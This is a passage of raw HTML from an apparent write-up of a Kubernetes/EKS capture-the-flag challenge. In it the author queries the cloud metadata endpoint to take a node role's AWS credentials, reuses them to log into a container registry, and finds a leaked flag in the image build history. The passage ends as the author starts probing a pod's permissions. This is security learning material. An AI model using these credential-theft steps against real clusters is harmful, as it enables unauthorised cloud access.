config:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reading\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\":\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GET\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/manifests/sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e unexpected\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e status\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e code\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 401\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Unauthorized:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Authorized\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSince I expect the pod already has AWS access, let us check if the AWS CLI works:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eUnable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e locate\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e credentials.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e You\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configure\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e credentials\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e by\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e running\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"aws configure\".\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eCredentials are not configured right now, so we need to discover them. Let us\ncheck if we have metadata server access:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e http://169.254.169.254/latest/meta-data/iam\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003einfo\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esecurity-credentials/\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe do! So we should be able to pull the credentials out of there to get access\nto AWS:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -sS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Expiration\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-03 03:50:19+00:00\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SessionToken\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us set those as environment variables to activate our AWS access:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e AWS_ACCESS_KEY_ID\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e AWS_SECRET_ACCESS_KEY\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e AWS_SESSION_TOKEN\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"UserId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e:i-0cb922c6673973282\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Account\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we should be able to authenticate crane and inspect the image from ECR:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PASSWORD=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ecr\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-login-password\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e login\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $PASSWORD \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e688655246681.dkr.ecr.us-west-1.amazonaws.com\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 02:56:41\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logged\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e via\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us get those layers!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"architecture\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"config\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Env\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Cmd\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"OnBuild\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e null\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"history\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"os\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"rootfs\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"diff_ids\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like they made the same mistake again and leaked the secret in the image\nlayers!\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ewiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} \n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eTime for challenge 4!\u003c/p\u003e\n\u003ch1\u003eChallenge 4\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eYou're inside a vulnerable pod on an EKS cluster. Your pod's service-account has\nno permissions. Can you navigate your way to access the EKS Node's privileged\nservice-account?\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis sounds like we are going to need to escalate our privileges through the AWS\naccess we acquired in the last challenge. Let us start with inspecting the\nenvironment again:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eError\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e server\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (Forbidden): pods is forbidden: User \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"system:serviceaccount:challenge4:service-account-challenge4\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e cannot list resource \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"pods\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e in API group \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e in the namespace \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"challenge4\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we do not even have access to list pods! Do we have any access?\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan 